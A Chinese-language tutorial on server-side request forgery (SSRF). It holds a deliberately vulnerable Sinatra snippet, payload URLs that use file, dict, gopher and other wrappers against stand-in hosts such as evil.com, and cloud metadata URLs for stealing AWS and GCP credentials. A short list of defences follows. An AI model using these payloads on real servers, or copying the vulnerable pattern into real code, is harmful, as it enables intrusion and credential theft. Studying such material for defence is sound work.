SSRF-服务器端请求伪造(类型和利用方法)第1部分
字数 1146 2025-08-27 12:33:54
服务器端请求伪造(SSRF)攻击详解
什么是SSRF?
SSRF(Server-Side Request Forgery)是指攻击者从一个具有漏洞的web应用中发送伪造请求的攻击方式。攻击者利用服务器作为代理,向内部或外部系统发起非预期的请求。
SSRF攻击类型
1. 基本型SSRF(Basic SSRF)
服务器获取攻击者要求的URL后,将响应返回给攻击者。攻击者可以直接看到请求的结果。
示例代码(Ruby Sinatra框架):
require 'sinatra'
require 'open-uri'
get '/' do
format 'RESPONSE: %s', open(params[:url]).read
end
攻击示例:
http://localhost:4567/?url=contacts- 读取本地联系人文件http://localhost:4567/?url=/etc/passwd- 读取系统密码文件http://localhost:4567/?url=https://google.com- 让服务器请求Google
2. 盲注型SSRF(Blind SSRF)
服务器会执行请求但不返回响应给攻击者。攻击者需要通过其他方式(如时间延迟、DNS查询等)判断请求是否成功。
URL协议包装器利用
SSRF攻击中可以利用多种URL协议包装器来绕过限制:
1. file://
用于从文件系统获取文件:
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
2. dict://
使用DICT协议访问定义或单词列表:
http://example.com/ssrf.php?dict://evil.com:1337/
服务器会向evil.com的1337端口发起连接。
3. sftp://
SSH文件传输协议:
http://example.com/ssrf.php?url=sftp://evil.com:1337/
服务器会尝试建立SSH连接。
4. ldap://, ldaps://, ldapi://
轻量级目录访问协议:
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
5. tftp://
简单文件传输协议(UDP协议):
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
6. gopher://
分布式文档传递服务(功能强大,可发送多行数据):
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
gopher.php内容:
<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
SSRF攻击利用场景
1. 扫描内部网络和端口
利用SSRF扫描内部网络,发现运行的服务(Kibana, Elastic Search, MongoDB等),可能发现易受攻击的服务。
2. 云实例元数据访问
Amazon AWS EC2:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
可能获取AWS密钥、SSH密钥等敏感信息。
Google Cloud:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
Digital Ocean:
http://169.254.169.254/metadata/v1.json
3. 反射型XSS攻击
通过SSRF获取包含恶意脚本的内容,触发XSS漏洞。
4. 访问内部资源
利用服务器作为代理访问内部受限资源或服务。
防御措施
- 输入验证和过滤
- 使用白名单限制允许的URL和协议
- 禁用不必要的URL协议包装器
- 网络层隔离,限制服务器出站连接
- 对云实例元数据接口实施访问控制
总结
SSRF是一种危险的攻击方式,可以导致内部网络探测、敏感数据泄露甚至系统完全沦陷。理解各种URL协议包装器的利用方式和云环境特有的元数据接口是防御SSRF的关键。